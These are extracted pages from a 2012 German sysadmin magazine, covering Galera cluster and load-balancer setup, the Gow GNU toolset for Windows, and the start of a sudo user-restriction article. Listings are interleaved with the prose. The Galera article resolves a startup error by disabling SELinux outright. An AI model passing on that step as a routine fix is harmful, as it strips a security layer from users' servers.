nach dem initialen Starten dieses Knotens<br />

»wsrep_cluster_address« auf einen<br />

anderen Knoten umgestellt werden.<br />

Es empfiehlt sich folgendes Vorgehen<br />

beim ersten Starten des Galera Clusters:<br />

node1: gcomm://<br />

node2: gcomm://192.168.56.101<br />

node3: gcomm://192.168.56.102<br />

Anschließend die my.cnf von Knoten<br />

node1 wie folgt anpassen:<br />

node1: gcomm://192.168.56.103<br />

Listing 5: Fehlermeldungen<br />

01 sh: /sbin/ifconfig: Permission denied<br />

E<br />

02 120405 8:29:02 [ERROR] WSREP: Failed to read output of: '/sbin/ifconfig | grep<br />

03 ‐m1 ‐1 ‐E '^[a‐z]?eth[0‐9]' | tail ‐n 1 | awk '{ print $2 }' | awk ‐F : '{ print<br />

04 $2 }''<br />

05 ...<br />

06 120405 8:29:02 [ERROR] WSREP: Permission denied<br />

07 120405 8:29:02 [ERROR] WSREP: failed to open gcomm backend connection: 13:<br />

08 error while trying to listen 'tcp://0.0.0.0:4567?socket.non_blocking=1', asio<br />

09 error 'Permission denied': 13 (Permission denied)<br />

10 at gcomm/src/asio_tcp.cpp:listen():750<br />

11 120405 8:29:02 [ERROR] WSREP: gcs/src/gcs_core.c:gcs_core_open():195: Failed to<br />

12 open backend connection: ‐13 (Permission denied)<br />

13 120405 8:29:02 [ERROR] WSREP: gcs/src/gcs.c:gcs_open():1284: Failed to open<br />

14 channel 'Galera‐2.0 wsrep‐23.4' at 'gcomm://': ‐13 (Permission denied)<br />

15 120405 8:29:02 [ERROR] WSREP: gcs connect failed: Permission denied<br />

16 120405 8:29:02 [ERROR] WSREP: wsrep::connect() failed: 6<br />

17 120405 8:29:02 [ERROR] Aborting<br />

18 <br />

19 120405 8:29:02 [Note] WSREP: Service disconnected.<br />

20 120405 8:29:03 [Note] WSREP: Some threads may fail to exit.<br />

Listing 6: Erfolgreicher Start<br />

01 mysql> SHOW GLOBAL STATUS LIKE 'wsrep%';<br />

02 <br />

01 #<br />

Listing 4: Galera-Parameter<br />

02 # WSREP (Galera) Parameter<br />

03 #<br />

04 <br />

05 #wsrep_provider = none<br />

03 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+<br />

04 | Variable_name | Value |<br />

05 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+<br />

06 | wsrep_local_state | 4 |<br />

07 | wsrep_local_state_comment | Synced (6) |<br />

08 | wsrep_cluster_conf_id | 1 |<br />

09 | wsrep_cluster_size | 1 |<br />

10 | wsrep_cluster_status | Primary |<br />

11 | wsrep_connected | ON |<br />

12 | wsrep_local_index | 0 |<br />

13 | wsrep_ready | ON |<br />

14 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+<br />

06 wsrep_provider = /usr/lib64/galera/<br />

libgalera_smm.so<br />

07 wsrep_cluster_name = "Galera‐2.0 wsrep‐23.4"<br />

08 wsrep_node_name = "Node 1"<br />

09 wsrep_node_address = 192.168.56.101<br />

10 wsrep_node_incoming_address = 10.0.2.1<br />

11 <br />

12 #wsrep_cluster_address = "gcomm://192.168.56.103"<br />

13 wsrep_cluster_address = "gcomm://"<br />

14 <br />

15 #<br />

16 # WSREP State Snapshot Transfer Parameter<br />

17 #<br />

18 <br />

19 wsrep_sst_method = mysqldump<br />

20 wsrep_sst_auth = sst:secret<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

91


Know-how<br />

Galera Cluster<br />

Jetzt kann jeder Knoten beliebig gestoppt<br />

und wieder gestartet werden. Nur, wenn<br />

man den Cluster neu initialisieren wollte,<br />

müsste man den ersten Knoten wieder<br />

mit »gcomm://« starten.<br />

Die Parametern »wsrep_sst_method« und<br />

»wsrep_sst_auth« teilen dem Galera Cluster<br />

mit, welche Methode er für den SST<br />

verwenden soll und welcher Benutzer mit<br />

welchem Password dafür infrage kommt.<br />

Wenn mehr als ein Interface verwendet<br />

wird, sollte »wsrep_sst_receive_address«<br />

auf dasjenige Interface verweisen, auf<br />

dem der SST empfangen (und gesendet)<br />

werden soll. Andernfalls könnte es passieren,<br />

dass Galera das falsche Interface<br />

Listing 7: Cluster läuft<br />

01 mysql> SHOW GLOBAL STATUS LIKE 'wsrep_cluster_%';<br />

02 <br />

03 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+<br />

04 | Variable_name | Value |<br />

05 +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+<br />

06 | wsrep_cluster_conf_id | 3 |<br />

07 | wsrep_cluster_size | 3 |<br />

08 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+<br />

Listing 8: Start des Loadbalancers<br />

01 ./glbd ‐‐daemon ‐‐threads 6 ‐‐control<br />

127.0.0.1:4444 127.0.0.1:3306 192.168.56.101:3306:1<br />

192.168.56.102:3306:1 192.168.56.103:3306:1<br />

02 Incoming address: 127.0.0.1:3306 , control<br />

FIFO: /tmp/glbd.fifo<br />

03 Control address: 127.0.0.1:4444<br />

04 Number of threads: 6, source tracking: OFF, verbose:<br />

OFF, daemon: YES<br />

05 Destinations: 3<br />

06 0: 192.168.56.101:3306 , w: 1.000<br />

07 1: 192.168.56.102:3306 , w: 1.000<br />

08 2: 192.168.56.103:3306 , w: 1.000<br />

Listing 9: Abfrage des Loadbalancers<br />

01 echo getinfo | nc ‐q 1 127.0.0.1 4444<br />

02 Router:<br />

03 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐<br />

04 Address : weight usage conns<br />

05 192.168.56.101:3306 : 1.000 0.667 2<br />

06 192.168.56.102:3306 : 1.000 0.500 1<br />

07 192.168.56.103:3306 : 1.000 0.500 1<br />

08 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐<br />

09 Destinations: 3, total connections: 4<br />

10 <br />

11 und<br />

12 <br />

13 echo getstats | nc ‐q 1 127.0.0.1 4444<br />

14 in: 37349 out: 52598 recv: 89947 / 1989 send: 89947<br />

/ 1768<br />

15 conns: 225 / 4 poll: 1989 / 0 / 1989 elapsed:<br />

76.59987<br />

„errät“ und der SST aus diesem Grunde<br />

fehlschlägt. Jetzt kann es endlich losgehen:<br />

Nachdem alle drei Knoten gestoppt<br />

sind, aktiviert man »wsrep_provider« in<br />

allen drei »my.cnf«- Dateien und startet<br />

den ersten Knoten:<br />

/etc/init.d/mysql start<br />

Zur Sicherheit sollte man das MySQL<br />

Error-Log unter »/var/lib/mysql/node1.<br />

err« auf mögliche Probleme prüfen.<br />

Wenn Fehlermeldungen wie in Listing 5<br />

auftauchen, liegt das daran, dass SELinux<br />

eingeschaltet ist. Das sollte man besser<br />

ausschalten. Temporär durch:<br />

echo 0 >/selinux/enforce<br />

und permanent in der Datei /etc/​selinux/​<br />

config:<br />

SELINUX=permissive<br />

Ist der Galera-Knoten erfolgreich gestartet,<br />

dann sieht man Ausgaben wie in Listing<br />

6. Der Knoten ist connected, ready<br />

und synced. Die Cluster-Größe ist zurzeit<br />

1 und die lokale ID (Index) 0. Jetzt kann<br />

man den zweiten Knoten starten. Für<br />

eine kurze Zeit erscheint der Knoten 1 im<br />

Status „Donor“:<br />

| wsrep_local_state_comment | Donor (+) |<br />

Dies bedeutet, dass er auserwählt wurde,<br />

im Zuge des SST dem Knoten 2 die Daten<br />

zu übermitteln. Nach erfolgreichem<br />

Start des zweiten Knoten lässt sich der<br />

dritte Knoten starten. Sind alle Knoten<br />

erfolgreich gestartet, sehen die Status-<br />

Informationen wie in Listing 7 aus:<br />

Anschließend darf nicht vergessen werden,<br />

auf dem ersten Knoten die Zeilen<br />

App App App<br />

LB<br />

Node 1<br />

wsrep<br />

LB<br />

Node 2 Node 3<br />

wsrep<br />

Galera replication<br />

LB<br />

wsrep<br />

mit der »wsrep_cluster_address« auszutauschen:<br />

# wsrep_cluster_address = U<br />

"gcomm://192.168.56.103"<br />

# wsrep_cluster_address = "gcomm://"<br />

Sonst findet der Knoten »node1« bei<br />

Neustart den Cluster nicht und versucht,<br />

einen neuen eigenen Cluster zu bilden.<br />

Anschließend lassen sich alle Knoten beliebig<br />

starten und stoppen.<br />

Mit Loadbalancer<br />

Aus Datenbank-Backend-Sicht existiert<br />

jetzt zwar ein hoch verfügbarer Datenbankcluster,<br />

aus Applikationssicht sieht<br />

das Ganze aber noch anders aus. Angenommen<br />

die Applikation verbindet<br />

sich <strong>gegen</strong> den Knoten 2 und dieser<br />

stirbt, dann muss sich die Applikation<br />

automatisch wieder mit einem anderen<br />

Knoten des Clusters konnektieren. Dies<br />

bewerkstelligt man am besten mit einem<br />

Loadbalancer. Dafür gibt es verschiedene<br />

Möglichkeiten:<br />

n Man kann den Load-Balancing-Mechanismus<br />

in die Applikation direkt<br />

einbauen.<br />

n Bei Java- oder PHP-Applikationen lässt<br />

sich die Failover-Funktionalität des<br />

entsprechenden Connectors nutzen<br />

(Connector/​J [4], mysqlnd-ms [3]).<br />

n Wenn man die Applikation nicht beeinflussen<br />

kann oder will, lässt sich<br />

alternativ ein Loadbalancer vorschalten.<br />

Das ist in Form eines Hardware-<br />

Loadbalancers, eines Software-Loadbalancers<br />

(wie zum Beispiel Pen [6],<br />

GLB [7], HAProxy [9], LVS [8], und<br />

App App App<br />

Node 1<br />

wsrep<br />

Load balancing (LB)<br />

Node 2 Node 3<br />

wsrep<br />

Galera replication<br />

Abbildung 2: Grundsätzlich gibt es zwei Möglichkeiten, den Loadbalancer zu platzieren: auf dem<br />

Applikationsserver oder auf einem eigenen <strong>Server</strong>.<br />

wsrep<br />

92 Ausgabe 04-2012 Admin www.admin-magazin.de


Galera Cluster<br />

Know-how<br />

so weiter) oder mit MySQL-Proxy [5]<br />

lösbar.<br />

Grundsätzlich gibt es zwei Möglichkeiten,<br />

einen Loadbalancer zu platzieren:<br />

Zusammen mit der Applikation (auf dem<br />

Applikationsserver) oder bei größeren<br />

Setups zentral auf einem eigenen <strong>Server</strong><br />

(Abbildung 2).<br />

Muss man eine große Anzahl von Applikationen<br />

oder <strong>Server</strong>n verwalten, empfiehlt<br />

es sich, den zentralen Ansatz zu<br />

verfolgen. Handelt es sich aber nur um<br />

wenige Applikationen, ist der Aufwand<br />

für eine Installation, bei der sich Loadbalancer<br />

und Applikation auf derselben<br />

Maschine befinden, geringer und benötigt<br />

weniger Hardware.<br />

Galera Loadbalancer<br />

Exemplarisch soll der Galera Loadbalancer<br />

(GLB) vorgestellt werden. Er lässt<br />

sich wie folgt installieren:<br />

wget http://www.codership.com/filesU<br />

/glb/glb‐0.7.4.tar.gz<br />

tar xf glb‐0.7.4.tar.gz<br />

cd glb‐0.7.4<br />

./configure<br />

make<br />

make install<br />

Gestartet wird er so, wie in Listing 8.<br />

Abgefragt wird der Loadbalancer so, wie<br />

es Listing 9 zeigt.<br />

Angenommen, der Knoten 192.168.56.101<br />

soll für Wartungsarbeiten aus dem Load-<br />

Infos<br />

[1] Codership Website: [http:// codership. com/​<br />

downloads/ download‐mysqlgalera]<br />

[2] MySQL Download: [http:// dev. mysql. com/​<br />

downloads/ mysql/ # downloads]<br />

[3] Mysqlnd Replication and Load Balancing<br />

Plugin: [http:// php. net/ manual/ en/ book.​<br />

mysqlnd‐ms. php]<br />

[4] MySQL Connector/​J: [http:// dev. mysql.​<br />

com/ doc/ refman/ 5. 5/ en/ connector‐j‐refer<br />

ence‐configuration‐properties. html]<br />

[5] MySQL Proxy: [http:// forge. mysql. com/​<br />

wiki/ MySQL_Proxy]<br />

[6] Pen: [http:// siag. nu/ pen/]<br />

[7] GLB: [http:// www. codership. com/ en/​<br />

downloads/ glb]<br />

[8] LVS: [http:// www. linuxvirtualserver. org/]<br />

[9] HAProxy: [http:// haproxy. 1wt. eu/]<br />

[10] VRRP: [http:// sourceforge. net/ projects/​<br />

vrrpd]<br />

balancer entnommen werden, dann<br />

wären die Schritte nötig, die Listing 10<br />

zeigt.<br />

Das Hinzufügen und Entfernen eines<br />

Knotens bewerkstelligen die beiden folgenden<br />

Befehle:<br />

echo 192.168.56.103:3306:‐1 | nc ‐q 1 U<br />

127.0.0.1 4444<br />

echo 192.168.56.103:3306:2 | nc ‐q 1 U<br />

127.0.0.1 4444<br />

Beim Ausprobieren des Galera Loadbalancers<br />

traten noch Ecken und Kanten<br />

zutage, die der Autor den Entwicklern<br />

meldete. Ihre Bereinigung soll in das<br />

nächste Release einfließen.<br />

PEN<br />

Aufgrund der beim GLB aufgetretenen<br />

Probleme sah sich der Autor auch noch<br />

den TCP-Loadbalancer PEN an. Seine<br />

Installation verläuft wie in Listing 11 gezeigt.<br />

Abfragen lässt sich der PEN Loadbalancer<br />

so, wie es Listing 12 zeigt. Pen kann<br />

seinen Status als HTML-Datei ablegen,<br />

die man mit einem Browser betrachten<br />

oder in seine Überwachungs-Infrastruktur<br />

einbinden kann.<br />

./penctl localhost:4444 status > U<br />

/tmp/pen.html<br />

Neue <strong>Server</strong> kann man derzeit nicht<br />

im laufenden Betrieb hinzufügen. Der<br />

Entwickler von Pen empfiehlt in einem<br />

solchen Fall, einige <strong>Server</strong> auf Vorrat anzulegen<br />

und diese bei Gelegenheit zu<br />

aktivieren. Dazu muss Pen sauber gestoppt<br />

werden:<br />

kill ‐TERM `cat pen.pid`<br />

Fällt ein Backend-<strong>Server</strong> oder der Galera-<br />

Knoten ganz aus, stellt Pen dies fest und<br />

leitet den Traffic entsprechend um. Ist ein<br />

Galera-Knoten aber gerade dabei, einen<br />

SST durchzuführen und daher für die<br />

Applikation nicht nutzbar, oder sollen<br />

Listing 12: Abfrage des PEN-Loadbalancers<br />

01 ./penctl localhost:4444 mode<br />

am entsprechenden Knoten Unterhaltsarbeiten<br />

durchgeführt werden, empfiehlt es<br />

sich, ihn in Pen zu deaktivieren, indem er<br />

für eine bestimmte Zeit auf eine Blacklist<br />

gesetzt wird:<br />

./penctl localhost:4444 server 0 U<br />

blacklist 7200<br />

Fazit<br />

Am Ende läuft nun ein durchgängig<br />

hochverfügbarer Galera Cluster. Wird<br />

der Loadbalancer nicht direkt vor die<br />

Applikation geschaltet, sollte er gegebenenfalls<br />

noch hochverfügbar ausgelegt<br />

werden. Dies kann beispielsweise mit<br />

dem »vrrpd« [10] oder anderen gängigen<br />

Cluster-Lösungen erreicht werden.<br />

Natürlich lässt sich anstelle von PEN jeder<br />

beliebige andere Loadbalancer verwenden.<br />

(jcb)<br />

n<br />

02 no block no delayed_forward no hash roundrobin no stubborn weight no prio<br />

03 <br />

04 ./penctl localhost:4444 servers<br />

Listing 11: Installation und Start des PEN<br />

01 wget http://siag.nu/pub/pen/pen‐0.18.0.tar.gz<br />

02 tar xf /download/pen‐0.18.0.tar.gz<br />

03 cd pen‐0.18.0/<br />

04 ./configure<br />

05 make<br />

06 make install<br />

05 0 addr 192.168.56.101 port 3306 conn 1 max 100 hard 0 weight 0 prio 0 sx 1245356 rx 1753808<br />

06 1 addr 192.168.56.102 port 3306 conn 1 max 100 hard 0 weight 0 prio 0 sx 1245525 rx 1754046<br />

07 2 addr 192.168.56.103 port 3306 conn 1 max 100 hard 0 weight 0 prio 0 sx 1245525 rx 1754046<br />

07 <br />

08 Start mit:<br />

09 <br />

Listing 10: Entfernen eines Knotens<br />

01 echo 192.168.56.101:3306:0 | nc ‐q 1 127.0.0.1 4444<br />

02 echo getinfo | nc ‐q 1 127.0.0.1 4444<br />

03 Router:<br />

04 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐<br />

05 Address : weight usage conns<br />

06 192.168.56.101:3306 : 0.000 1.000 0<br />

07 192.168.56.102:3306 : 1.000 0.667 2<br />

08 192.168.56.103:3306 : 1.000 0.667 2<br />

09 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐<br />

10 Destinations: 3, total connections: 4<br />

10 ./pen ‐r ‐p pen.pid ‐C localhost:4444 ‐S 3 \<br />

11 localhost:3306 192.168.56.101:3306:100 \<br />

12 192.168.56.102:3306:100 192.168.56.103:3306:100<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

93


Basics<br />

Gow<br />

© Markus Gann, 123RF<br />

GNU-Tools unter Windows<br />

In Harmonie<br />

Viele Admins sind für heterogene IT-Landschaften verantwortlich. Wer<br />

auch unter Windows die geliebte Bash und GNU-Werkzeuge verwenden<br />

will, kann entweder die Cygwin-Kompatibilitätsschicht installieren oder<br />

einmal die schlankere Alternative Gow ausprobieren. Thomas Drilling<br />

Was administrative Tätigkeiten angeht,<br />

gehören die Bash und die GNU-Tools für<br />

viele Administratoren zu den unverzichtbaren<br />

Standard-Werkzeugen für Routine-<br />

Aufgaben. Die von Brian Fox 1987 entwickelte<br />

Unix/​Linux-Kommando-Shell<br />

Bash gehört seit mehr als 20 Jahren unbestreitbar<br />

zu den leistungsfähigsten und<br />

beliebtesten Vertretern ihrer Zunft und<br />

erschließt Admins Unix-artiger Betriebssysteme<br />

jeglicher Couleur den Zugang<br />

zur Systemebene und zwar nicht nur<br />

aufgrund der eingebauten Befehle und<br />

Kommandos. Durch die Möglichkeit der<br />

Programmierung mit Shellskripten lassen<br />

sich ständig wiederkehrende Kommandos<br />

auf elegante Weise zusammenfassen oder<br />

Programme schreiben, die auch komplexe<br />

und intelligente Aufgaben erledigen.<br />

Neben „internen“ Bash-Kommandos erlauben<br />

die Kontrollstrukturen der Bash<br />

auch das Aufrufen einschlägiger GNU-<br />

Tools, die in der Regel den Löwenanteil<br />

aufwendiger Bash-Skripte ausmachen. So<br />

ist die Möglichkeit, Bash und GNU-Tools<br />

auch zur Steuerung und Administration<br />

von Windows-Rechern einsetzen zu können,<br />

in mehrfacher Hinsicht interessant.<br />

Zum einen ist die Bash, allein aufgrund<br />

der internen Befehle und Kontrollstrukturen<br />

ungleich mächtiger als eine einfache<br />

Windows-„Eingabeaufforderung“, schon<br />

was einfache Dateisystemoperationen<br />

angeht. Erst langsam hält mit der Powershell<br />

ein vergleichbar leistungsfähiges<br />

Werkzeug in der Windows-Welt Einzug.<br />

GNU auf Windows<br />

Tools wie Gow erschließen auch unter<br />

Windows den Zugang zu einer Vielzahl<br />

leistungsfähiger GNU-Tools, darunter<br />

Klassiker zur Textmanipulation, leistungsfähige<br />

Dateisystem-Tools sowie die<br />

wichtigsten SSH-Tools. Ganz nebenbei<br />

ermöglicht es das Gow-Tool auch Anwendern,<br />

die einen Umstieg von Windows<br />

auf Linux erwägen, sich vorab unter Windows<br />

mit der Unix-Verzeichnisstruktur<br />

und der Bash-Kommandozeile vertraut<br />

zu machen, ohne dazu einen Emulator<br />

oder eine virtuelle Maschine installieren<br />

zu müssen.<br />

Gow statt Cygwin<br />

Das von Brent Matzelle entwickelte, auf<br />

Github gehostete Gow [1] (GNU on Windows)<br />

ist als kompakte Alternative zu<br />

Cygwin konzipiert. Gow ist freie Software,<br />

unterliegt der MIT-Lizenz. Cygwin<br />

da<strong>gegen</strong> ist eine Kompatibilitäts-Schicht,<br />

die unter Windows substanzielle Linux-<br />

API-Aufrufe zur Verfügung stellt. Wer<br />

Cygwin nicht kennt, findet im Kasten<br />

„Alternativen“ eine kurze Zusammenfassung.<br />

Gow bringt ähnlich wie Cygwin<br />

derzeit 138 Unix-Tools auf den Windows-<br />

Desktop, ist aber mit seinen knapp 10<br />

MByte deutlich kompakter als der 100<br />

MByte-Brocken Cygwin und lässt sich<br />

auch deutlich einfacher installieren.<br />

Gow stellt neben der Shell/​Shell-Skripting-Funktionalität<br />

(Bash und ZSH) GNU-<br />

Tools aus den Bereichen Text-Manipulation<br />

(»grep«, »agrep«, »less«, »cat«, »tail«,<br />

»head«), Dateiverwaltung (»mv«, »cp«,<br />

»du«, »ls«, »pwd«, »rmdir«, »whereis«),<br />

Download/​Upload (Curl, Wget, NcFTP),<br />

94 Ausgabe 04-2012 Admin www.admin-magazin.de


Gow<br />

Basics<br />

Abbildung 2: Diese Tools und Kommandos stellt Gow zur Verfügung.<br />

Abbildung 1: Unix auf Windows im Handumdrehen: Gow lässt sich ebenso einfach<br />

installieren wie jedes x-beliebige Windows-Tool.<br />

SSH (»putty«, »psftp«, »pscp«, »pageant«,<br />

»plink«), Kompression (»gzip«, »zip«,<br />

»bzip2«, »compress«) und Entwicklung<br />

(»make«, »diff«, »diff3«, »sleep«, »cvs«,<br />

»dos2unix«, »unix2dos«) sowie den beliebten<br />

und leistungsfähigen Editor »vim«,<br />

zur Verfügung. Zur Installation muss der<br />

Admin lediglich die 6 MByte kleine Installationsdatei<br />

der momentan aktuellen<br />

Version 0.5.0 herunterladen [2], doppelklicken<br />

und die Lizenzbestimmungen<br />

akzeptieren (Abbildung 1).<br />

Minimal oder optimal<br />

Im Folgeschritt des Installationsassistenten<br />

hat der Admin die Wahl zwischen<br />

einer Default- und einer Minimal-Installation.<br />

Letztere enthält nur die Core-<br />

Komponenten.<br />

Nach Auswahl des Installationsverzeichnisses<br />

im Folgeschritt schaufelt der<br />

Alternativen<br />

n Mobaxterm: Das im Heft 03/​12 [3] vorgestellte<br />

Tool „MobaXterm“ [4] ist ein portabler<br />

X-<strong>Server</strong> für Windows, der im Kern<br />

ebenfalls auf der Cygwin-Kompatibilitätsschicht<br />

aufsetzt und mit „Cygwin/​X“ auch<br />

eine Portierung des X.Org-<strong>Server</strong>s auf die<br />

Cygwin-Umgebung mitbringt.<br />

n Cygwin: Dreh- und Angelpunkt der Cygwin-<br />

Kompatibilitätsschicht ist die DLL »cygwin1.<br />

dll«, die wichtige Unix-API-Aufrufe unter<br />

Windows implementiert. So lassen sich<br />

mithilfe von Cygwin Programme für POSIX-<br />

Assistent die zugehörigen<br />

Binärdateien<br />

auf die Festplatte<br />

und passt<br />

freundlicherweise<br />

die Windows-<br />

PATH-Variable an,<br />

sodass sämtliche<br />

Tools über die<br />

Standard-Kommandozeile erreichbar<br />

sind.<br />

Das gilt auch für die Linux-Shell (Bash)<br />

zu deren Start der Admin lediglich in<br />

der Windows-Shell „cmd“ »Bash« eingibt.<br />

Das funktioniert allerdings erst nach<br />

einem Neustart des Windows-Rechners<br />

und vollzieht sich völlig unspektakulär<br />

direkt im cmd-Fenster, das quasi nur sein<br />

PROMP-Erscheinungsbild ändert, sofern<br />

der Admin im Installer die Default-Konfiguration<br />

gewählt hat.<br />

Beim ersten Start ist es allerdings<br />

erforderlich mit »mkdir /tmp« ein<br />

temporäres Verzeichnis anzulegen,<br />

was bereits mit dem Unix-Kommando<br />

»mkdir« erfolgt. Ist das erfolgt, stehen<br />

die meisten erwähnten Bash-Befehle zur<br />

Verfügung. Eine Übersicht aller übrigen<br />

verfügbaren Unix-Kommandos liefert<br />

»gow.bat ‐l« (Abbildung 2). Sämtliche<br />

für Gow portierten Unix-Tools befinden<br />

Systeme wie Unix, Linux oder BSD nach<br />

Windows portieren. Mit Cygwin übersetzte<br />

Posix-Programme laufen dann unter nahezu<br />

allen Windows-Versionen, seit Cygwin-Version<br />

1.7 auch unter Windows 7 und Windows<br />

<strong>Server</strong> 2008.<br />

n GNU Utilities for Win32: Sie stellen die wichtigsten<br />

GNU-Tools unter Windows zur Verfügung,<br />

wobei sich jedes einzelne in Form<br />

einer Exe-Datei mit einem Klick von der<br />

Sourceforge-Projektseite [4] herunterladen<br />

und installieren lässt.<br />

sich im Unterverzeichnis »bin« des bei<br />

der Installation angegeben Pfades. Tools,<br />

die über eine eigene Benutzerschnittstelle<br />

verfügen, wie »putty« oder »ncp« lassen<br />

sich dann auch per Doppelklick starten.<br />

Fazit<br />

Gow ermöglicht es wie das bekannte Cygwin,<br />

die Bash sowie zahlreiche GNU-<br />

Tools unter Windows zu verwenden. Im<br />

Vergleich ist Gow aber viel kompakter,<br />

einfach zu installieren und wird zudem<br />

aktiv gepflegt, was unter anderem auch<br />

die enthaltenen Programme mit Updates<br />

versorgt.<br />

Abgesehen von Make fehlen aber die Entwicklungs-Tools<br />

wie der GNU-Compiler,<br />

auf die der Anwender dann doch auf<br />

Cygwin zurückgreifen muss. (ofr) n<br />

Infos<br />

[1] GoW auf Github:<br />

[https:// github. com/ bmatzelle/ gow]<br />

[2] GoW Download: [https:// github. com/​<br />

bmatzelle/ gow/ downloads]<br />

[3] Thomas Drilling. Mobaxterm, <strong>ADMIN</strong> 03/​<br />

2012: [http:// www. admin‐magazin. de/​<br />

Das‐Heft/ 2012/ 03/ Mobaxterm‐bringt‐Linux<br />

‐Feeling‐auf‐den‐Windows‐Desktop]<br />

[4] GNU Utilities for Win32: [http:// gnuwin32.​<br />

sourceforge. net/ packages. html]<br />

Der Autor<br />

Thomas Drilling ist seit mehr als zehn Jahren<br />

hauptberuflich als freier Journalist und Redakteur<br />

für Wissenschafts- und IT-<strong>Magazin</strong>e tätig. Er<br />

selbst und das Team seines Redaktionsbüros verfassen<br />

regelmäßig Beiträge zu den Themen Open<br />

Source, Linux, <strong>Server</strong>, IT-Administration und Mac<br />

OSX. Außerdem arbeitet Thomas Drilling als Buchautor<br />

und Verleger, berät als IT-Consultant kleine<br />

und mittlere Unternehmen und hält Vorträge zu<br />

Linux, Open Source und IT-Sicherheit.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

95


Basics<br />

User Restrictions<br />

© lightwise, 123RF<br />

Benutzer vor Abwegen im System bewahren<br />

Benutzer<br />

gut geführt<br />

Normal konfigurierte Desktops verwirren manche Anwender oder erlauben<br />

die Nutzung beliebiger Programme. Auch abseits der grafischen Benutzeroberfläche<br />

entlastet ein geführter Benutzer den EDV-Betreuer und<br />

sorgt für höhere Produktivität. Harald Zisler<br />

Typischerweise sollen Anwender auf<br />

Firmen-Desktops nicht alles machen<br />

können, was ihnen gerade einfällt. Dem<br />

schiebt normalerweise das gewohnte<br />

Unix-Rechtesystem einen Riegel vor. Der<br />

Zugriff auf Anwendungen kann aber für<br />

jeden Benutzer auch abseits der Gruppenzugehörigkeit<br />

im Dateisystem geregelt<br />

werden. Die Wartung und Pflege der<br />

Programme bleibt mit den hier im Artikel<br />

gezeigten Maßnahmen für den Systembetreuer<br />

im üblichen Rahmen. Betriebliche<br />

Gegebenheiten lassen sich in der<br />

IT abbilden.<br />

Eines oder mehrere der genannten Szenarien<br />

sprechen für die Einschränkung des<br />

Programmzugriffs:<br />

n Personen ohne grundlegende EDV-<br />

Kenntnisse sollen einzelne Aufgaben<br />

am Rechner übernehmen.<br />

n Rechner mit sensiblen Anwendungen<br />

und Daten werden dadurch abgesichert,<br />

dass den Benutzern nur die nötigsten<br />

Programme auf den Desktop<br />

angeboten werden. Gegebenenfalls<br />

wird sogar der Shellzugriff entzogen,<br />

damit die Nutzung auf die angebotenen<br />

Programme beschränkt bleibt.<br />

n Einrichtung von Spezialbenutzern mit<br />

einer oder wenigen Aufgaben.<br />

n Datenschutz: Jeder Mitarbeiter kann<br />

nur die Programme benutzen, die er je<br />

nach seiner Rolle im Betrieb benötigt.<br />

n Vermeidung des Einschleppens eigener<br />

Programme (Spiele, Multimedia<br />

…..) auf die betriebliche EDV-Anlage.<br />

Einen besonderen Anwendungsfall des<br />

„geführten“ Benutzers stellt das Absetzen<br />

eines einzigen Kommandos dar.<br />

Befindet sich beispielsweise in einem<br />

Filialbetrieb kein Systembetreuer, kann<br />

trotzdem jemand vom örtlichen Personal<br />

einen Linuxserver nach Aufforderung herunterfahren<br />

(Benutzer »aus« ) oder neu<br />

starten. Die übliche Tastenkombination<br />

[Strg]+[Alt]+[Entf] wurde im Beispiel<br />

deaktiviert.<br />

Für dieses Beispiel muss das Paket »sudo«<br />

installiert werden. Der Benutzer »aus«<br />

wird vom Administrator Root angelegt<br />

und bekommt anschließend einen Eintrag<br />

in der Datei »/etc/sudoers«. Hierzu<br />

sollte man unbedingt das Programm<br />

»visudo« benutzen, das die Syntax der<br />

Datei überprüft. Andernfalls sperrt man<br />

sich bei Syntaxfehlern leicht aus dem<br />

System aus, wenn man keinen extra Root-<br />

Account besitzt.<br />

Der Benutzer »aus« soll von jedem Rechner<br />

aus dem lokalen Netzwerk den <strong>Server</strong><br />

herunterfahren können. Damit nach Eingabe<br />

des Benutzerpasswortes der Anwender<br />

keine Chance hat, in den Genuss des<br />

Shellzugriffes zu kommen, wird auf die<br />

Eingabe des Kennwortes für den sudo-<br />

Zugriff verzichtet. Der Eintrag in »/etc/<br />

sudoers« lautet deshalb:<br />
